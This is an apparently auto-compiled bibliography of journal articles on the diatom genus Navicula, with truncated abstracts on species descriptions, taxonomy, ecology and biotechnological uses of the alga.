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Journal articles on the topic 'Navicula'

Author: Grafiati

Published: 4 June 2021

Last updated: 26 July 2025

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1

Kurnia, Dewi. "KANDUNGAN KIMIA DARI Navicula sp dan BIOAKTIVITASNYA." INDONESIA NATURAL RESEARCH PHARMACEUTICAL JOURNAL 5, no. 1 (2020): 65–69. http://dx.doi.org/10.52447/inspj.v5i1.4049.

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Navicula sp. merupakan mikroalga uniseluler (microalgae) yang termasuk dalam kelas diatom (Bacillariopheceae), ordo Pennales. Memiliki bentuk sel yang lonjong, memanjang seperti perahu atau bentuk ketupat, beberapa seperti balok, cakram atau segitiga Ukuran sel Navicula sp. antara 2-200 μm, hidup menempel berkelompok pada substrat tertentu. Navicula sp. mengandung klorofil, karotenoid, protein dan beberapa jenis asam lemak seperti asam miristat, asam pentadekanoat, asam palmitat, asam stearat, asam palmitoleat dan EPA. Berdasarkan kandungan senyawa kimia tersebut, Naviculla sp diketahui memili

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2

JÜTTNER, INGRID, DMITRY CHUDAEV, and WOLF-HENNING KUSBER. "Re-examination of the type materials of Navicula exilis and Navicula cryptocephala (Naviculaceae, Bacillariophyceae)." Phytotaxa 472, no. 2 (2020): 123–34. http://dx.doi.org/10.11646/phytotaxa.472.2.3.

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Type material of Navicula exilis and Navicula cryptocephala from the Kützing collection at the Natural History Museum, London, was re-investigated in light and electron microscopy. The morphology of these species was studied in detail using original materials and the nomenclature and previous studies of type material summarized. Navicula exilis is compared with Navicula cryptocephala, Navicula cryptocephala var. exilis, Navicula lothargeitleri and Navicula adversa.

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3

KOCHMAN-KĘDZIORA, NATALIA, MARIA OLECH, and BART VAN DE VIJVER. "A critical analysis of the type of Navicula skuae with the description of a new Navicula species (Naviculaceae, Bacillariophyta) from the Antarctic Region." Phytotaxa 474, no. 1 (2020): 15–26. http://dx.doi.org/10.11646/phytotaxa.474.1.2.

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During a study of the limno-terrestrial diatoms on King George Island (South Shetland Islands), an unknown Navicula taxon was observed. Detailed morphological analysis based on both light and scanning electron microscopy observations revealed a unique set of morphological features, that were not observed in any Navicula taxon known so far. Despite an extensive literature search, it was not possible to identify this taxon and therefore it is described as a new species: Navicula massalskiana sp. nov. At present, the new species has only been observed from its type locality, acid soils influenced

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4

Beauger, Aude, Olivier Voldoire, Adrienne Mertens, René Le Cohu, and Bart Van de Vijver. "Two new Navicula species (Bacillariophyceae) from Western Europe." Phytotaxa 230, no. 2 (2015): 172. http://dx.doi.org/10.11646/phytotaxa.230.2.4.

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During a survey of some springs in the French Central Massif, a new Navicula species (Bacillariophyceae) was found: Navicula sanctamargaritae Beauger sp. nov. A second new Navicula species was observed during a routine biomonitoring project in Flanders: Navicula flandriae Van de Vijver & A.Mertens sp. nov.. The new species are formally described using light and scanning electron microscopy. Both species present a unique set of morphological characters including the structure of the central raphe endings, the striation pattern, the valve dimensions and outline, which allows their separation

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5

Karillanata, Khalid Erlangga, Dwi Hardianti Luthfiana, Khusnul Qonita Maghfiroh, et al. "Silica's Medium in Various Concentration Effect on Navicula sp. Metabolism." Al-Kauniyah: Jurnal Biologi 18, no. 1 (2024): 1–13. http://dx.doi.org/10.15408/kauniyah.v1i1.31078.

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Abstract Navicula sp., an aquatic microalgae species, are numerous and diverse, with high metabolites so they hold great potential in biotechnology. Although it has many advantages, it is often not used in industry. In silica medium, Navicula sp. produces various metabolites depending on their concentration. This research aims to discover how adding silica to the medium affects the growth and production of Navicula sp. metabolites so that cultivation can be carried out at low cost and with maximum results. For 21 days, this experiment was carried out with three concentrations of silica (1; 1.5

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6

KULIKOVSKIY, MAXIM, DMITRY CHUDAEV, ANTON GLUSHCHENKO, IRINA KUZNETSOVA, ZINAIDA KRIVOVA, and JOHN PATRICK KOCIOLEK. "Navicula gogorevii—a new, large-celled diatom species from Vietnam (Southeast Asia)." Phytotaxa 428, no. 1 (2020): 60–66. http://dx.doi.org/10.11646/phytotaxa.428.1.6.

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We describe a new member from the genus Navicula Bory sensu stricto using light and scanning electron microscopy. The new species was found in Vietnam, and is a large-celled species with longitudinal grooves present on the valve exterior. Taxa sharing this feature are known from the genus Navicula, as well as the genera Haslea Simonsen, Craticula Grunow, Gyrosigma Hassall and Proschkinia Karajeva. The new species from Vietnam is compared with other, similar taxa of Navicula, and comments are presented about the systematics and biogeography of the group of Navicula species with this characteris

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KULIKOVSKIY, MAXIM, DMITRY CHUDAEV, ANTON GLUSHCHENKO, IRINA KUZNETSOVA, and JOHN PATRICK KOCIOLEK. "New diatom species Navicula davidovichii from Vietnam (Southeast Asia)." Phytotaxa 452, no. 1 (2020): 83–91. http://dx.doi.org/10.11646/phytotaxa.452.1.8.

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We present light and scanning electron microscopical observations on one new species of Navicula Bory sensu stricto from Vietnam. The new species, Navicula davidovichii Chudaev, Glushchenko, Kulikovskiy & Kociolek sp. nov., possesses all typical morphological features for the genus, including uniseriate striae covered by internal convex hymenes, median raphe with accessory rib at the internal surface, and hooked external distal raphe ends. Navicula davidovichii sp. nov., is distinguished from others in the genus on the basis valve outline, shape of the apices, as well as striae and areolar

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8

Telussa, Ivon, Matheis F. J. D. P. Tanasale, and Ali Ridho Arif Madja. "Synthesis and Characterization of Biodegradable Plastic from Tropical Marine Microalgae Navicula sp. TAD01." Jurnal Penelitian Pendidikan IPA 9, no. 9 (2023): 6877–84. http://dx.doi.org/10.29303/jppipa.v9i9.2107.

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The use of plastics made from petrochemicals has a bad environmental impact. One of the efforts to overcome this is using microalgae Navicula sp. as a raw material for making biodegradable plastics. Navicula sp. TAD01 is a type of marine microalgae that is spread Inner Bay of Ambon and can be used to manufacture biodegradable plastics. In this study, biodegradable plastic was synthesized from the biomass of Navicula sp. TAD01, characterization and degradation test. The method used in this research includes three stages. Navicula sp. TAD01 cells were grown in the first stage to obtain biomass.

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9

Riaux-Gobin, Catherine, Andrzej Witkowski, John Patrick Kociolek, and Damien Chevallier. "Navicula dermochelycola sp. nov., presumably an exclusively epizoic diatom on sea turtles Dermochelys coriacea and Lepidochelys olivacea from French Guiana." Oceanological and Hydrobiological Studies 49, no. 2 (2020): 132–39. http://dx.doi.org/10.1515/ohs-2020-0012.

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AbstractEpizoic diatom communities were studied on four turtle species (Chelonia mydas L., Eretmochelys imbricata L., Lepidochelys olivacea Eschscholtz and Dermochelys coriacea Vandelli) from the Eastern Caribbean, the Equatorial West Atlantic and the South Pacific. In the present study, we focused on one taxon of Navicula Bory de Saint-Vincent, described here as a new taxon, which was found on seven individuals of Dermochelys coriacea and one individual of Lepidochelys olivacea in French Guiana. The new Navicula taxon was found neither on Chelonia mydas (83 specimens examined) nor Eretmochely

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Telussa, Ivon, and Rahayu. "Isolation and Frustul Characterization of Diatom Navicula sp. TAD Strain." Jurnal Biosains Pascasarjana 24, no. 2 (2022): 76–81. http://dx.doi.org/10.20473/jbp.v24i2.2022.76-81.

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Frustul diatom Navicula sp. galur TAD diisolasi melalui proses pencucian dengan asam dan pembakaran. Sel Navicula sp. galur TAD dikultivasi sel selama 7 hari pada temperature ruang di bawah intensitas cahaya 5000 lux untuk mendapatkan kerapatan sel dan biomassa yang tinggi. kerapatan sel tertinggi diperoleh sebesar 72,167 × 105 ± 0,946 sel mL-1 .biomassa kering diperoleh sebesar 11,459 g dengan produktivitas biomassa sebesar 0,1364 gL-1 h -1. Frustul Navicula sp. galur TAD hasil pencucian HCl 20% dan pembakaran pada 600 oC memiliki warna frustul yang lebih putih. Karakterisasi frulstul menunju

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Telussa, Ivon, and Rahayu. "Isolation and Frustul Characterization of Diatom Navicula sp. TAD Strain." Jurnal Biosains Pascasarjana 24, no. 2 (2022): 74–79. http://dx.doi.org/10.20473/jbp.v24i2.2022.74-79.

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Frustul diatom Navicula sp. galur TAD diisolasi melalui proses pencucian dengan asam dan pembakaran. Sel Navicula sp. galur TAD dikultivasi sel selama 7 hari pada temperature ruang di bawah intensitas cahaya 5000 lux untuk mendapatkan kerapatan sel dan biomassa yang tinggi. kerapatan sel tertinggi diperoleh sebesar 72,167 × 105 ± 0,946 sel mL-1 .biomassa kering diperoleh sebesar 11,459 g dengan produktivitas biomassa sebesar 0,1364 gL-1 h -1. Frustul Navicula sp. galur TAD hasil pencucian HCl 20% dan pembakaran pada 600 oC memiliki warna frustul yang lebih putih. Karakterisasi frulstul menunju

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12

Anithavani, Murugan, Rayappan Anantha Rajan, and Mariavincent Michael Babu. "Anticancer Activity of Lectin Extracted from the Saltpan Microalga, Navicula sp." UTTAR PRADESH JOURNAL OF ZOOLOGY 45, no. 1 (2024): 88–98. http://dx.doi.org/10.56557/upjoz/2024/v45i13858.

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Haemagglutinins are carbohydrates binding protein applied as tools in cell biology and immunology. In the present study, lectin from selected microalgae Navicula sp. was isolated and characterized for biomedical applications. The microalgae were collected from the saltpan water sample. A total of six species were isolated including Amphora sp., Nitzschia sp., Navicula sp., Scendesmus sp., Chlorella sp. and Nanochloropsis sp. by direct plating method using algal isolation medium and characterized. The crude microalgal extracts were screened for the presence of lectin and it was confirmed by hae

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13

Gong, Siyu, Pan Pan, Xiangying Meng, et al. "Integrated Physiologic and Proteomic Analyses Reveal the Molecular Mechanism of Navicula sp. in Response to Ultraviolet Irradiation Stress." International Journal of Molecular Sciences 25, no. 5 (2024): 2747. http://dx.doi.org/10.3390/ijms25052747.

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With the continuous development of space station construction, space ecosystem research has attracted increasing attention. However, the complicated responses of different candidate plants and algae to radiation stress remain unclear. The present study, using integrated physiologic and proteomic analyses, was carried out to reveal the molecular mechanism of Navicula sp. in response to ultraviolet (UV) irradiation stress. Under 12~24 h of high-dose UV irradiation conditions, the contents of chlorophyll and soluble proteins in Navicula sp. cells were significantly higher than those in the contro

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Madhankumar, Madhu, and Raju Venkatachalapathy. "Distribution of the Diatoms and Water Quality Assessment of the Thamirabarani River, Tamil Nadu, South India." Journal of Geology, Geography and Geoecology 32, no. 1 (2023): 124–37. http://dx.doi.org/10.15421/112313.

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      The diatoms are one of the most significant organisms beneficial for biomonitoring investigations. The present study deals with the diatom and water samples collected from 10 different localities in the Thamirabarani River, Southern India. Diatom samples were collected by scraping stones with a toothbrush and squeezing macrophytes. Study of diatom valve morphology and measurements of diatoms were carried out using an optical miccroscope. The present study recorded 58 diatom taxa belonging to 25 genera. Among the diatoms, the taxonomical characters of 2

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15

Kulikovskiy, Maxim S., Dmitry A. Chudaev, Anton M. Glushchenko, Irina V. Kuznetsova, and John Patrick Kociolek. "Two new species of Navicula (Bacillariophyta) from Southeast Asia." PhytoKeys 190 (February 18, 2022): 69–85. https://doi.org/10.3897/phytokeys.190.78164.

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We present light and scanning electron microscopical observations on two new species of Navicula Bory sensu stricto from Southeast Asia. Navicula winoniformis Chudaev, Glushchenko, Kulikovskiy & Kociolek, sp. nov. differs from taxa with similar outline and size by the combination of simple drop-like external raphe endings deflected to the primary valve side, presence of well-developed external longitudinal grooves and relatively low lineolae density. Navicula sparsilineolata Chudaev, Glushchenko, Kulikovskiy & Kociolek, sp. nov. can be discriminated from the taxa of similar valve shape

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Cid-Rodríguez, María, Marco Cantonati, Nicola Angeli, et al. "The Diatom Genus Navicula in Spring Ecosystems with the Description of Navicula aquaesuavis sp. nov." Water 16, no. 19 (2024): 2751. http://dx.doi.org/10.3390/w16192751.

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Given the limited understanding of species diversity and ecological preferences of diatoms of the genus Navicula in spring ecosystems, herein we present and describe as species new to science, Navicula aquaesuavis Lange-Bert., Levkov, Cid-Rodríguez, A.A.Saber and Cantonati sp. nov. This species was collected from a mountain spring located above the tree line at 1613 m a.s.l. in the Northern Apennines. The Fontana del Vescovo (Bishop’s spring), which is the locus classicus of the new species, has a low conductivity (60–70 µS cm−1), temperature of ca. 5 °C, circumneutral pH (7.3–7.5), relatively

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Telussa, Ivonne, Eirene G. Fransina, Joisana Singerin, and Muhammad Ikhsan Taipabu. "Bioethanol Production From Tropical Marine Microalgae Ambon Bay Navicula sp. of The Inner Ambon Bay Strain." Indo. J. Chem. Res. 10, no. 3 (2023): 136–42. http://dx.doi.org/10.30598//ijcr.2023.10-ivo.

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Microalgae are photosynthetic microorganisms that contain carbohydrates can be converted into glucose through a hydrolysis process so that they can be used as raw materials for bioethanol production. Navicula sp. strain TAD is a type of marine microalgae that is spread in the inner Ambon Bay (TAD) sea waters and is used to manufacture bioethanol. This study aims to determine the content of carbohydrates and bioethanol produced from tropical marine microalgae Ambon bay Navicula sp. strain TAD. The research was conducted through several stages, namely the cultivation of Navicula sp. strain TAD t

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Kulikovskiy, Maxim S., Dmitry A. Chudaev, Anton M. Glushchenko, Irina V. Kuznetsova, and John Patrick Kociolek. "Two new species of Navicula (Bacillariophyta) from Southeast Asia." PhytoKeys 190 (February 18, 2022): 69–85. http://dx.doi.org/10.3897/phytokeys.190.78164.

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We present light and scanning electron microscopical observations on two new species of Navicula Bory sensu stricto from Southeast Asia. Navicula winoniformis Chudaev, Glushchenko, Kulikovskiy &amp; Kociolek, sp. nov. differs from taxa with similar outline and size by the combination of simple drop-like external raphe endings deflected to the primary valve side, presence of well-developed external longitudinal grooves and relatively low lineolae density. Navicula sparsilineolata Chudaev, Glushchenko, Kulikovskiy &amp; Kociolek, sp. nov. can be discriminated from the taxa of similar val

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ŻELAZNA-WIECZOREK, JOANNA, HORST LANGE-BERTALOT, RAFAŁ M. OLSZYŃSKI, and ANDRZEJ WITKOWSKI. "Navicula fontana sp. nov., a new freshwater diatom from a limnocrenic spring in Central Poland." Phytotaxa 452, no. 2 (2020): 155–64. http://dx.doi.org/10.11646/phytotaxa.452.2.4.

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A small unidentified species of Navicula was observed in sandy sediments of a Quaternary spring near Lodz in Central Poland. The species was thoroughly analyzed using light (LM) and scanning electron (SEM) microscopy. It was compared to established species of Navicula from available published sources and its assignment to an established taxon was unsuccessful. Hence, we decided to describe it as a species new for science and the name Navicula fontana sp. nov. is proposed. Navicula fontana sp. nov. was compared to several established species, e.g. N. microdigitoradiata, N. meulemansii, in terms

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GUO, JI-SHU, JOHN PATRICK KOCIOLEK, and YAN-LING LI. "A new species of Navicula (Bacillariophyta; Naviculaceae) from Yunnan Province, China." Phytotaxa 705, no. 3 (2025): 279–86. https://doi.org/10.11646/phytotaxa.705.3.5.

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During analyses of surficial sediments from Lake Fuxian in Yunnan Province, Southwest China, Navicula fuxianensis sp. nov. was recorded and described by light and scanning electron microscopy analysis. The new species is characterized by a lateral, slightly undulate raphe and lineolate striae, as well as variously shaped areolae and an internally-elevated raphe system. Navicula fuxianensis sp. nov. shares features with other species in this genus, similar to N. gongii in valve outline and stria arrangement, respectively. However, the species can be easily distinguished from taxa which it resem

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Witkowski, Andrzej, Maxim Kulikovskiy, Elena Nevrova, Horst Lange-Bertalot, and Rinat Gogorev. "The genus Navicula in ancient basins. I. Two novelties from the Black Sea." Plant Ecology and Evolution 143, no. (3) (2010): 307–17. https://doi.org/10.5091/plecevo.2010.421.

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<b>Backgrounds and aims</b> – In this paper results on <i>Navicula s. str</i>. species from the (sub)littoral zone of the Black Sea are presented. <i>Navicula pinnata</i> var. <i>pontica</i> Mereschk. was originally described from the Black Sea in the early 20th century but, due to mistakes, incorrectly referred to in the literature as <i>Navicula pennata</i> A.W.F.Schmidt var. <i>pontica</i> Mereschk. A second species, <i>Navicula parapontica</i> sp. nov. is described as new for science. Analysis of recent and historical diatom assemblages revealed that Mereschkowsky's taxon occurs abundantly

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Poulíčková, Aloisie, Jiří Neustupa, Petr Hašler, Ondřej Tomanec, and Eileen J. Cox. "A new species, Navicula lothargeitleri sp. nov., within the Navicula cryptocephala complex (Bacillariophyceae)." Phytotaxa 273, no. 1 (2016): 23–33. https://doi.org/10.11646/phytotaxa.273.1.2.

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Poulíčková, Aloisie, Neustupa, Jiří, Hašler, Petr, Tomanec, Ondřej, Cox, Eileen J. (2016): A new species, Navicula lothargeitleri sp. nov., within the Navicula cryptocephala complex (Bacillariophyceae). Phytotaxa 273 (1): 23-33, DOI: 10.11646/phytotaxa.273.1.2, URL: http://dx.doi.org/10.11646/phytotaxa.273.1.2

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Bahls, Loren, and Marina Potapova. "Two new species of Navicula (Bacillariophyta, Naviculales) from the Cascade Mountains of the American Northwest." Phytotaxa 218, no. 3 (2015): 253. http://dx.doi.org/10.11646/phytotaxa.218.3.4.

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Two species of Navicula—N. volcanica and N. subwalkeri—are described as new based on LM and SEM observations and a comparison with similar species. Modern distributions of the new species are restricted to two adjacent headwater streams along the crest of the Cascade Mountains in western Oregon, USA. Both species are established as extant based on observations of cells with intact chloroplasts. Navicula volcanica has uniquely structured areolae with small external openings fused into narrow and occasionally interrupted transapical slits, while in most other Navicula species both the external a

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Chudaev, D. A., and I. Jüttner. "Diatoms of the genus Navicula from waterbodies of the Voronezh Region, Russia." Novosti sistematiki nizshikh rastenii 54, no. 2 (2020): 337–53. http://dx.doi.org/10.31111/nsnr/2020.54.2.337.

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The diversity of the genus Navicula including 29 species, one species new to science (Navicula trophicatrixoides Chudaev, sp. nov.), one new to the flora of Russia (N. alineae), and 15 species new for the Voronezh Region, is documented from waterbodies located in the museum-reserve “Divnogorye” and areas in its vicinity. It is supposed that N. antonii as currently understood represents a complex with at least two semicryptic species. The most frequent taxa in the studied materials are Navicula cf. antonii, N. capitatoradiata and N. cryptotenella. The majority of the species found prefer waters

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WANG, TING, JIA-LIN WANG, QI-CHAO ZHOU, DMITRY A. CHUDAEV, J. P. KOCIOLEK, and WEI ZHANG. "Navicula daochengensis sp. nov., a new freshwater diatom species (Bacillariophyceae) from a small mountain lake, Sichuan Province, China." Phytotaxa 439, no. 2 (2020): 150–58. http://dx.doi.org/10.11646/phytotaxa.439.2.6.

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In this study, we describe a new freshwater diatom, Navicula daochengensis sp. nov., which was found in a small mountain lake, Lake Congqiancuo, Haizishan Nature Reserve, Daocheng County, Sichuan Province, China. The detailed morphological description of the new species is provided from light and scanning electron micrographs. Navicula daochengensis has a narrowly lanceolate valve outline with broadly-rounded ends. The striate are radiate and convergent to the apices. This new species is compared with similar species, such as Navicula elongata, N. venerablis, N. moralesii and N. radiosa, which

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I. Telussa, Rahayu, and E. R. M. A. P. Lilipaly. "ISOLATION AND CHARACTERIZATION OF BIOSILICA AS BIONANOMATERIAL FROM THE WASTE OF FRUSTULES DIATOM Navicula sp. TAD." RASAYAN Journal of Chemistry, Special Issue (2022): 198–203. http://dx.doi.org/10.31788/rjc.2022.1558109.

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Biosilica from frustul diatom Navicula sp. TAD was isolated under optimal conditions by washing with 20% HCl and baking at 600 °C. The treatments successfully removed 78.00 ± 0.514% of impurities from the biosilica during washing, and 93.072 ± 0.347% were further removed after baking. Biosilica Frustule Navicula sp. TAD resulting from HCl washing and burning at 600oC has a whiter silica color. Biosilica was identified by Fourier transform infrared spectroscopy (FTIR) at wave numbers 1601, 1062, 962, 799, and 470 cm-1, which were associated with stretching, bending, and vibrational groups of Si

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Telussa, Ivonne, Matheis F. J. D. P. Tanasale, Eka. R. M. A. P. Lilipaly, and Astri Riany Penaonde. "Potensi Pigmen Fotosintesis dari Diatom Laut Ambon Navicula sp. TAD sebagai Bahan Tabir Surya." JST (Jurnal Sains dan Teknologi) 14, no. 1 (2025): 25–34. https://doi.org/10.23887/jstundiksha.v14i1.64813.

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Navicula sp. TAD adalah mikrorganisme fotosintetik yang memiliki pigmen fotosintesis yang didominasi senyawa karotenoid. Karotenoid merupakan pigmen fotoproteksi yang melindungi mikroalga dari radiasi ultraviolet. Karakteristik ini memungkinkan beberapa mikroalga menjadi toleran terhadap sinar UV. Karakteristik pigmen ini dapat dimanfaatkan sebagai sumber bahan krim tabir surya yang dapat melindungi kulit dari paparan sinar matahari dengan intensitas cahaya yang tinggi. Pada Penelitian ini dilakukan kultivasi Navicula sp. TAD, ekstraksi pigmen fotosintesis, uji antiokdisan, pembuatan tabir sur

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De Abreu, Jéssika L., Priscilla C. M. De Lima, Elizabeth P. Dos Santos, et al. "Influence of the frequency of addition of Navicula sp. in a biofloc system on the growth of Penaeus vannamei post-larvae and the planktonic community." Spanish Journal of Agricultural Research 23, no. 2 (2025): 20765. https://doi.org/10.5424/sjar/2025232-20765.

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Aim of study: The objective of this study was to evaluate the effect of different addition frequencies of the microalga Navicula sp. in a biofloc system on the growth performance of Penaeus vannamei post-larvae and the planktonic community. Area of study: Laboratory of Sustainable Mariculture, Department of Fisheries and Aquaculture, Federal Rural University of Pernambuco, Brazil. Material and Methods: Four treatments were tested in triplicate over 35 days: a control treatment (BFT - without Navicula sp.) and three treatments with Navicula sp. additions every 5, 10, and 15 days (BFT 5D, BFT 10

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Palani, Hemasankari, D. Prema, P. Kaladharan, Vasanth Kripa, K. Vinod, and R. Narayana Kumar. "Biodiversity in the occurrence of different species of phytoplankton along the Chennai coast." Ecology, Environment and Conservation 28, no. 08 (2022): S108—S121. http://dx.doi.org/10.53550/eec.2022.v28i08s.019.

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Phytoplankton is the major food of zooplankton and small pelagic occurring along the Chennai coast. The distribution of phytoplankton vary from place to place and the occurrence of different species decides the biodiversity of the ecosystem. This paper describes the occurrence and the characteristics of most common phyto organisms along the Chennai coast using primer 6.0 software. The phytoplankton distribution consists of dissolved volume, Ceratium species, Navicula, Bidulphia, Nitzschia, Gyrosigma and Chlorella during the year’2011. The occurrence of the phytoplankton, Chaetoceros, 38.01%, f

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Hamilton, Paul B., Katarzyna Stachura-Suchoples, Wolf-Henning Kusber, Andreanne Bouchard, and Regine Jahn. "Typification of the puzzling diatom species Neidium iridis (Neidiaceae)." Plant Ecology and Evolution 152, no. 2 (2019): 392–401. http://dx.doi.org/10.5091/plecevo.2019.1601.

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Background and aims – Confusion over the taxonomic identity of Neidium iridis (Ehrenb.) Cleve (= Navicula iridis Ehrenb.) has persisted for more than 130 years with identifications of valve shapes varying from elliptical to linear and sizes from 100 to 300 µm. This confusion can be linked to the rarity of the species and poor attention to the original line drawings of Ehrenberg. This study examines the type material of Navicula iridis and further uses additional material from North America to define the species Neidium iridis. Methods – Mica and material from Christian Gottfried Ehrenber

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31

Lobban, Christopher S. "Marine tube-dwelling diatoms of the Pacific coast of North America. I. Berkeleya, Haslea, Nitzschia, and Navicula sect. Microstigmaticae." Canadian Journal of Botany 63, no. 10 (1985): 1779–84. http://dx.doi.org/10.1139/b85-249.

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Species of marine tube-dwelling diatoms have been identified from fresh collections made along the Pacific coast of the United States and from herbarium material originating from the Aleutian Islands to Baja California. The major species have three geographic ranges. Berkeleya rutilans is common throughout the region. Navicula pseudocomoides is common as far south as Point Conception (as are one or more species of Navicula sect. Lineolatae, not treated here). Less common in this region is Navicula delognei. Nitzschia fontifuga was found as a sporadic cohabitant of tube-forming species, especia

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POULÍČKOVÁ, ALOISIE, JIŘÍ NEUSTUPA, PETR HAŠLER, ONDŘEJ TOMANEC, and EILEEN J. COX. "A new species, Navicula lothargeitleri sp. nov., within the Navicula cryptocephala complex (Bacillariophyceae)." Phytotaxa 273, no. 1 (2016): 23. http://dx.doi.org/10.11646/phytotaxa.273.1.2.

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Recently published phylogenetic analyses of 52 strains of Navicula cryptocephala-like diatoms confirmed the existence of genetically distinct lineages within N. cryptocephala: clade I “RBG” and clade II “Lubnaig”. Using geometric morphometry, we compared strains of both clades with the lectotype and found that clade I represents N. cryptocephala sensu stricto, while clade II constitutes a different taxon, for which we establish a new species, Navicula lothargeitleri sp. nov. Both species can be distinguished by their interphase nucleus structure. Slight differences in valve morphology are desc

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Lobban, Christopher S. "Marine tube-dwelling diatoms of the Pacific coast of North America. II. Navicula subg. Navicula and a key to the tube-dwelling diatoms of the region." Canadian Journal of Botany 68, no. 4 (1990): 707–12. http://dx.doi.org/10.1139/b90-092.

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The tube-dwelling cross-lineate Navicula species on the west coast are dominated by a taxon that belongs in or near the N. ramosissima – N. mollis complex. Morphometric data were used to establish that a single, variable population exists. The species was assigned to N. rusticensis. Cells are 28 ± 7 × 5 ± 1 μm and striae number 14 ± 2 in 10 μm; these cells differ from the ramosissima–mollis complex in having 1–3 short central striae that form a narrow rectangular area. The range of size encompasses published limits for both N. ramosissima and N. mollis. A key to tube-dwelling diatoms of the we

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XIAO, QIAO-ZHI, JI-SHU GUO, ZHENG-BIN TANG, JOHN PATRICK KOCIOLEK, and YAN-LING LI. "Navicula sinicomeniscus sp. nov. (Bacillariophyta; Naviculaceae), a new species from southwestern China." Phytotaxa 591, no. 4 (2023): 241–52. http://dx.doi.org/10.11646/phytotaxa.591.4.1.

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Based on light and scanning electron microscopy observations, Navicula sinicomeniscus sp. nov. is described here as a new species from oligotrophic Lake Fuxian in Yunnan Province, China. Characteristics of this new species used to assign it to the genus Navicula include filiform, almost straight to slightly curved raphe structure, lineolate striae, and a row of visible, horizontal areolae positioned on the valve mantle at the apices. The key diagnostic features between the new species and other similar species include: valve shape and size, stria and areola densities, as well as the straightne

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Jiang, Yu-Fei, Saúl Blanco, and Wei Zhang. "Navicula congqiancuoensis sp. nov. — a new diatom species (Bacillariophyceae) from Sichuan Province, China." PhytoKeys 257 (June 11, 2025): 209–17. https://doi.org/10.3897/phytokeys.257.152987.

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In this study, we describe a new diatom, Navicula congqiancuoensissp. nov., which was found in epilithon samples collected from a small mountain lake, at Lake Congqiancuo, Sichuan Province, China. A detailed morphological description of the new species is provided based on light and scanning electron micrographs. Navicula congqiancuoensissp. nov. valve is linear to linear-lanceolate, with a slight elevation in the center and broadly rounded at both apices. The striae are radiate and convergent at the apices. The axial area is narrow and linear, and the central area is small and elliptical in t

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36

Wojtal, Agata Zofia, Nadja Ognjanova-Rumenova, Krisztina Buczko, Janusz Siwek, and Bart Van de Vijver. "Revision of Navicula striolata (Grunow) Lange-Bertalot and N. rumaniensis Hustedt with the description of N. friedelhinziae sp. nov." Phytotaxa 204, no. 3 (2015): 117. http://dx.doi.org/10.11646/phytotaxa.204.3.1.

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Navicula striolata was originally described as N. digitoradiata var. striolata from modern material collected in Sweden. After examination of a sample collected from Belgium, the variety was transferred to N. reinhardtii as N. reinhardti var. gracilior. From this time a large mix up of these and related taxa was observed in the literature. A similar species, Navicula rumaniensis had also been established in 1934 from Neogene Romanian materials but there has been much confusion regarding the status of these taxa, leading to a poor understanding of their distribution. In this study, type materia

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37

Hamilton, Paul B., Katarzyna Stachura-Suchoples, Wolf-Henning Kusber, Andreanne Bouchard, and Regine Jahn. "Typification of the puzzling diatom species Neidium iridis (Neidiaceae)." Plant Ecology and Evolution 152, no. (2) (2019): 392–401. https://doi.org/10.5091/plecevo.2019.1601.

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<b>Background and aims</b> – Confusion over the taxonomic identity of <em>Neidium iridis</em> (Ehrenb.) Cleve (= <em>Navicula iridis</em> Ehrenb.) has persisted for more than 130 years with identifications of valve shapes varying from elliptical to linear and sizes from 100 to 300 µm. This confusion can be linked to the rarity of the species and poor attention to the original line drawings of Ehrenberg. This study examines the type material of <em>Navicula iridis</em> and further uses additional material from North America to define the species <em>Neidium iridis</em>.<b>Methods</b> – Mica and

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38

Nahar, Khurshid, and Moniruzzaman Khondker. "Newly Recorded Freshwater Diatioms (Bacillariophyceae) From Two Wetlands of District Sirajganj, Bangladesh." Journal of the Asiatic Society of Bangladesh, Science 44, no. 1 (2018): 1–6. http://dx.doi.org/10.3329/jasbs.v44i1.46540.

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A total 9 diatoms taxa newly reported from the sediments of Joysagar and Sitlai Beel has been reported. These are Navicula cuspidata var. heribaudii Peragallo, N. grimmei Krabke, Navicula americana Ehr, Pinnulara major (Kutz.) Cleve, P. braunii (Grun.) Cleve. P. brevicosta Cleve, P. divergens, P. acrosphaeria Brebisson, P. stauroptera (Grun.) Cleve and P. hemiptera (Kutz.) Cleve. Asiat. Soc. Bangladesh, Sci. 44(1): 1-6, June 2018

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39

Yılmaz, Elif, David G. Mann, Romain Gastineau, et al. "Description of Navicula vanseea sp. nov. (Naviculales, Naviculaceae), a new species of diatom from the highly alkaline Lake Van (Republic of Türkiye) with complete characterisation of its organellar genomes and multigene phylogeny." PhytoKeys 241 (April 8, 2024): 27–48. http://dx.doi.org/10.3897/phytokeys.241.118903.

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The current article describes Navicula vanseeasp. nov., a new species of diatom from Lake Van, a highly alkaline lake in Eastern Anatolia (Türkiye). The description is based on light and scanning electron microscopy performed on two monoclonal cultures. The complete nuclear rRNA clusters and plastid genomes have been sequenced for these two strains and the complete mitogenome for one of them. The plastome of both strains shows the probable loss of a functional ycf35 gene. They also exhibit two IB4 group I introns in their rrl, each encoding for a putative LAGLIDADG homing endonuclease, with th

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40

Maulana, Amri. "Kajian Intertekstual pada Lirik Lagu â€œMafia Hukumâ€ Karya Grup Band Navicula dan Pada Lagu â€œHukum Rimbaâ€ Karya Marjinal." Literature Research Journal 2, no. 1 (2024): 20–29. https://doi.org/10.51817/lrj.v2i1.786.

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Tujuan penelitian adalah mendeskripsikan unsur intrinsik, persamaan, dan perbedaan struktur pembangun lagu "Mafia Hukum" karya grup Band Navicula dan pada lagu "Hukum Rimba" karya Marjinal. Sumber data dalam penelitian ini adalah lirik lagu "Mafia Hukum" karya Grup Band Navicula dan lirik lagu "Hukum Rimba" karya Marjinal. Penelitian ini menggunakan metode deskriptif kualitatif. Teknik baca dan catat pun digunakan untuk pengambilan data yang kemudian akan dianalisis dengan intertekstual. Hasil penelitian ini menunjukkan bahwa unsur intrinsik kedua lagu ini memiliki kesamaan dan menguak tentang

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41

Luo, Yanqing, Shuangfei Li, Kun Shen, et al. "Study on the Hemostasis Characteristics of Biomaterial Frustules Obtained from Diatom Navicula australoshetlandica sp." Materials 14, no. 13 (2021): 3752. http://dx.doi.org/10.3390/ma14133752.

